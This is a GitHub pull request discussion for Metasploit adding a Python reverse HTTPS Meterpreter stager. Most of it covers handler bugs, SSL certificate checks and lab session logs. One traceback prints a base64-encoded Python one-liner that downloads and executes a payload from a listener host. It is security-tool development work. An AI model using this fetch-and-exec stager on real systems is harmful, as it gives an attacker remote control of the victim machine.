Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Python reverse HTTPS stager #4978

Merged
merged 3 commits into from
Mar 27, 2015
Merged

Conversation

zeroSteiner
Copy link
Contributor

This adds a reverse HTTPS stager for Python to complement the existing HTTP one. Payload specs have been updated with the new stager.

This also addresses a small issue with the unicode type check. It looks like __builtins__ is a dictionary when using the HTTP / HTTPS stagers, this works around that with a more strict check.

Tested on:

  • Linux 2.5.1
  • Linux 2.7.8
  • Linux 2.7.9
  • Linux 3.1.3
  • Linux 3.4.1
  • Linux 3.4.3
  • Windows 2.7
  • Windows 3.4

Testing Steps:

  • Make sure Travis is Green (the new payloads_spec.rb is ok)
  • Get a responsive session over HTTPS
  • Get a responsive session over HTTPS with a proxy

@hdm
Copy link
Contributor

hdm commented Mar 23, 2015

Odd test note. If I use python/meterpreter/reverse_http and exploit/multi/handler with run instead of run -j, the listener is closing the HTTP server socket and the session never stages properly. Using run -j it works fine.

@hdm hdm self-assigned this Mar 23, 2015
@hdm
Copy link
Contributor

hdm commented Mar 23, 2015

The payload stack traces when an invalid SSL listener is used. Maybe this should try harder or catch the exception?

python /tmp/https.py 
Traceback (most recent call last):
  File "/tmp/https.py", line 1, in <module>
    import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHN5cwpvPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bc3lzLnZlcnNpb25faW5mb1swXV0sZnJvbWxpc3Q9WydidWlsZF9vcGVuZXInXSkuYnVpbGRfb3BlbmVyKCkKby5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjE7IFdpbmRvd3MgTlQpJyldCmV4ZWMoby5vcGVuKCdodHRwczovLzE5Mi4xNjguMC40OjQ0NDQvUGRCWnZUczllaFljTnEzM1A1ZlplR0kwQ0p4dmVuUVpqQ3l3eVN5UnlGa3BnQjlxdDRXWScpLnJlYWQoKSkK')))
  File "<string>", line 4, in <module>
  File "/usr/lib/python2.7/urllib2.py", line 404, in open
    response = self._open(req, data)
  File "/usr/lib/python2.7/urllib2.py", line 422, in _open
    '_open', req)
  File "/usr/lib/python2.7/urllib2.py", line 382, in _call_chain
    result = func(*args)
  File "/usr/lib/python2.7/urllib2.py", line 1222, in https_open
    return self.do_open(httplib.HTTPSConnection, req)
  File "/usr/lib/python2.7/urllib2.py", line 1184, in do_open
    raise URLError(err)
urllib2.URLError: <urlopen error [Errno 8] _ssl.c:510: EOF occurred in violation of protocol>

@hdm
Copy link
Contributor

hdm commented Mar 23, 2015

Something is causing the reverse_http handler to close the listener after the first connection, even in run -j mode. I get a valid session if I start a new msfconsole instance to catch the session, and sometimes when I kill all jobs and run again, but something is definitely borked in the handler. In this state, the python stager is spinning with 100% CPU and getting connection refused from the metasploit instance.

This issue seems specific to the Python payload session handling, as the Windows payloads aren't exhibiting this problem.

@hdm
Copy link
Contributor

hdm commented Mar 23, 2015

This is as far as I got so far, switching gears to another project, but maybe it will help track things down. Handing off to @bcook-r7 since he was the least person to dive into the HTTP handler issues and might have a better idea.

A few requests into the process, the cleanup() method is being called on the listener:

[*] Starting the payload handler...
[*] 192.168.0.4:59464 Request received for /xCJqTaVbc2bj7YEvloG8YxqRLzY3L9nf3SMDibCMdKYhNffML8B22WqUfGTB8T0sesc4eBMEOQBnliro3oC7k41cbNY3r6llHd8Z9PcfXq5hw...
New Meterpreter session starting (2pXh_qx8rxxaEJiDCvYTA) #<Session:meterpreter 192.168.0.4:59464 (192.168.0.4) >
[*] Meterpreter session 1 opened (192.168.0.4:4444 -> 192.168.0.4:59464) at 2015-03-22 21:49:09 -0500
[#<Socket:fd 11>, #<Rex::Proto::Http::Request:0x0000000841e878 @headers={"Accept-Encoding"=>"identity", "Content-Length"=>"4", "Host"=>"192.168.0.4:4444", "Content-Type"=>"application/octet-stream", "Connection"=>"close", "User-Agent"=>"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)"}, @auto_cl=true, @state=3, @transfer_chunked=false, @inside_chunk=false, @bufq="", @body="RECV", @method="POST", @raw_uri="/2pXh_qx8rxxaEJiDCvYTA/", @uri_parts={"QueryString"=>{}, "Resource"=>"/2pXh_qx8rxxaEJiDCvYTA/"}, @proto="1.1", @chunk_min_size=1, @chunk_max_size=10, @uri_encode_mode="hex-normal", @relative_resource="/", @body_bytes_left=0>]
[#<Socket:fd 11>, #<Rex::Proto::Http::Request:0x000000083d4ae8 @headers={"Accept-Encoding"=>"identity", "Content-Length"=>"4", "Host"=>"192.168.0.4:4444", "Content-Type"=>"application/octet-stream", "Connection"=>"close", "User-Agent"=>"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)"}, @auto_cl=true, @state=3, @transfer_chunked=false, @inside_chunk=false, @bufq="", @body="RECV", @method="POST", @raw_uri="/2pXh_qx8rxxaEJiDCvYTA/", @uri_parts={"QueryString"=>{}, "Resource"=>"/2pXh_qx8rxxaEJiDCvYTA/"}, @proto="1.1", @chunk_min_size=1, @chunk_max_size=10, @uri_encode_mode="hex-normal", @relative_resource="/", @body_bytes_left=0>]
[#<Socket:fd 11>, #<Rex::Proto::Http::Request:0x000000083c8270 @headers={"Accept-Encoding"=>"identity", "Content-Length"=>"85", "Host"=>"192.168.0.4:4444", "Content-Type"=>"application/octet-stream", "Connection"=>"close", "User-Agent"=>"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)"}, @auto_cl=true, @state=3, @transfer_chunked=false, @inside_chunk=false, @bufq="", @body="\x00\x00\x00U\x00\x00\x00\x01\x00\x00\x00\x18\x00\x01\x00\x01core_enumextcmd\x00\x00\x00\x00)\x00\x01\x00\x0253829593149871303823012142711695\x00\x00\x00\x00\f\x00\x02\x00\x04\xFAG\x00\x02", @method="POST", @raw_uri="/2pXh_qx8rxxaEJiDCvYTA/", @uri_parts={"QueryString"=>{}, "Resource"=>"/2pXh_qx8rxxaEJiDCvYTA/"}, @proto="1.1", @chunk_min_size=1, @chunk_max_size=10, @uri_encode_mode="hex-normal", @relative_resource="/", @body_bytes_left=0>]
[#<Socket:fd 11>, #<Rex::Proto::Http::Request:0x000000083b2150 @headers={"Accept-Encoding"=>"identity", "Content-Length"=>"4", "Host"=>"192.168.0.4:4444", "Content-Type"=>"application/octet-stream", "Connection"=>"close", "User-Agent"=>"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)"}, @auto_cl=true, @state=3, @transfer_chunked=false, @inside_chunk=false, @bufq="", @body="RECV", @method="POST", @raw_uri="/2pXh_qx8rxxaEJiDCvYTA/", @uri_parts={"QueryString"=>{}, "Resource"=>"/2pXh_qx8rxxaEJiDCvYTA/"}, @proto="1.1", @chunk_min_size=1, @chunk_max_size=10, @uri_encode_mode="hex-normal", @relative_resource="/", @body_bytes_left=0>]
Calling stop_handler: ["/data/work/msf-hdm/lib/msf/core/exploit_driver.rb:321:in `job_cleanup_proc'", "/data/work/msf-hdm/lib/msf/core/exploit_driver.rb:153:in `block in run'", "/data/work/msf-hdm/lib/rex/job_container.rb:39:in `call'", "/data/work/msf-hdm/lib/rex/job_container.rb:39:in `block in start'", "/data/work/msf-hdm/lib/rex/thread_factory.rb:22:in `call'", "/data/work/msf-hdm/lib/rex/thread_factory.rb:22:in `block in spawn'", "/data/work/msf-hdm/lib/msf/core/thread_manager.rb:100:in `call'", "/data/work/msf-hdm/lib/msf/core/thread_manager.rb:100:in `block in spawn'"]
[-] Failed to load extension: No response was received to the core_loadlib request.

@hdm hdm assigned bcook-r7 and unassigned hdm Mar 23, 2015
@hdm
Copy link
Contributor

hdm commented Mar 23, 2015

@bcook-r7 If nothing jumps out, feel free to send this back to me to dig into.

@bcook-r7
Copy link
Contributor

it seemed to work differently for me - I get a traceback, but its sort of expected (though we would probably want certification to be configurable like the winhttp stager/meterpreter): urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:581)>

@zeroSteiner
Copy link
Contributor Author

Apparently in Python 2.7.9 they started to validate the SSL certificate information by default. I had been testing with 2.7.8 as my 2.7 target. I'll need to check if / when certificate checking was added into the 3.x versions as well.

I could make it configurable for the user to select whether the certificate should be validated or not, but only the newest versions would support it (2.7.9 was released Dec 10th, 2014), while older versions would ignore the option.

@bcook-r7
Copy link
Contributor

I was testing 2.7.9 - let me try an older revision.

@bcook-r7
Copy link
Contributor

The option you would want it to follow is 'StagerVerifySSLCert', which would make it work like the reverse_winhttps stager. I tried it with an earlier python version and it worked without failing during verification.

You hit the nail on the head @hmoore-r7 with regard to the service handler stopping too early. Certainly something wrong there.

@zeroSteiner
Copy link
Contributor Author

Worked around the SSL certificate validation issue. The latest versions of Python (2.7.9 and 3.4.3) add the context parameter to the httplib.HTTPSConnection class. The changes I made check the local Python version and build a context which does not validate the certificate if a context can be provided. Older versions which to not support specifying a context do not perform any certificate validate by default.

After speaking to @bcook-r7 regarding the StagerVerifySSLCert option on IRC, we agreed against it because to maintain compatibility with older versions of Python it would have to be silently ignored by the stager at run time.

I updated the list of Python versions I have tested this on in the original PR information.

@hdm
Copy link
Contributor

hdm commented Mar 26, 2015

The StagerVerifySSLCert option requires a callback to compare the exact SHA-1 hash baked into the payload during generation time, so its probably doable, but not required right now.

@bcook-r7
Copy link
Contributor

reverse_tcp

payload => python/meterpreter/reverse_tcp
lhost => 192.168.56.1
lport => 8080
[*] Started reverse handler on 192.168.56.1:8080
[*] Starting the payload handler...
[*] Sending stage (23763 bytes) to 192.168.56.1
[*] Meterpreter session 1 opened (192.168.56.1:8080 -> 192.168.56.1:58438) at 2015-03-26 18:30:42 -0500

meterpreter > sysinfo
Computer     : aus-mac.aus.rapid7.com
OS           : Darwin 14.1.0 Darwin Kernel Version 14.1.0: Thu Feb 26 19:26:47 PST 2015; root:xnu-2782.10.73~1/RELEASE_X86_64
Architecture : x86_64
Meterpreter  : python/python

reverse_http

payload => python/meterpreter/reverse_http
lhost => 192.168.56.1
lport => 8080
[*] Started HTTP reverse handler on http://0.0.0.0:8080/
[*] Starting the payload handler...
[*] 192.168.56.1:58444 Request received for /zUZEL00ntWhXMbwHleFYUZfycncTz8tYFW5WYsWxNW2Lxmly2UUOtSTij...
[*] Meterpreter session 1 opened (192.168.56.1:8080 -> 192.168.56.1:58444) at 2015-03-26 18:31:22 -0500

meterpreter > sysinfo
Computer     : aus-mac.aus.rapid7.com
OS           : Darwin 14.1.0 Darwin Kernel Version 14.1.0: Thu Feb 26 19:26:47 PST 2015; root:xnu-2782.10.73~1/RELEASE_X86_64
Architecture : x86_64
Meterpreter  : python/python
meterpreter > exit
[*] Shutting down Meterpreter...

reverse_https

[*] Started HTTPS reverse handler on https://0.0.0.0:8080/
[*] Starting the payload handler...
[*] 192.168.56.1:58488 Request received for /p44lCUEN6N6fYZqU6CXEr0Y6JYKs6bS0GhZD5vMR5CBBobwGYvpTmLZwTkKbnMUJ0SYwutvkIVxlohTHVg21M...
[*] Meterpreter session 1 opened (192.168.56.1:8080 -> 192.168.56.1:58488) at 2015-03-26 18:31:48 -0500

meterpreter > sysinfo
Computer     : aus-mac.aus.rapid7.com
OS           : Darwin 14.1.0 Darwin Kernel Version 14.1.0: Thu Feb 26 19:26:47 PST 2015; root:xnu-2782.10.73~1/RELEASE_X86_64
Architecture : x86_64
Meterpreter  : python/python

@bcook-r7
Copy link
Contributor

A funny thing to note, pymet crashes both system python interpreters (a 2.6 and a 2.7 one) on OS X 10.10. It works fine with the homebrew version though.

@bcook-r7
Copy link
Contributor

reverse_https via tinyproxy

payload => python/meterpreter/reverse_https
lhost => 192.168.56.1
lport => 8080
[*] Started HTTPS reverse handler on https://0.0.0.0:8080/
[*] Starting the payload handler...
[*] 192.168.56.1:58925 Request received for /t5ykumamsafc2gBY1IPDthPamcpgao2cAav1kDXQJKS4PbKdUiVM38PSCU2HZHqn40UM0l8jy8mSauX1wr7U5vml1o1BJNrUkiFF1uYUCUNENyd9JOY6VlHPLTCRdqoJs5hayH7Slg5pQb2dZQB4qtTrimDFUp4iXDbOmm0K02i4ld83CGzI4APaC9i2bYE8eWdqMthhgJ1Q0F...
[*] Meterpreter session 1 opened (192.168.56.1:8080 -> 192.168.56.1:58925) at 2015-03-26 18:47:32 -0500

reverse_http with tinyproxy

payload => python/meterpreter/reverse_http
lhost => 192.168.56.1
lport => 8080
[*] Started HTTP reverse handler on http://0.0.0.0:8080/
[*] Starting the payload handler...
[*] 192.168.56.1:59118 Request received for /Bwdu7OqCusUNI0iNs8PBy2CIJzyGwndKy8nbBR7c0nECdeAme60Up6WybuZd1331DZDtgsQuFkQqnedywhogcgW1hWpYVa3WXKpqpUNZIhgzrHYu5M1GXLHKdZtvWyldThkk0z9UpvDPwCX5ad68HCZWQM9TUKu2gqjldN7uEpaoAYf1t4ql0961KP1j88DvGJdreYJGlj0a55pSpV2vQIFmpN76zMjjbuOqmfy...
[*] Meterpreter session 1 opened (192.168.56.1:8080 -> 192.168.56.1:59118) at 2015-03-26 18:49:25 -0500

@bcook-r7
Copy link
Contributor

There was a refcount issue with python http/s sessions, I fixed that here as well.

@bcook-r7 bcook-r7 merged commit 10e8cef into rapid7:master Mar 27, 2015
@bcook-r7
Copy link
Contributor

Thanks @zeroSteiner!

@zeroSteiner zeroSteiner deleted the pymet-stager-https branch July 4, 2020 17:05
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants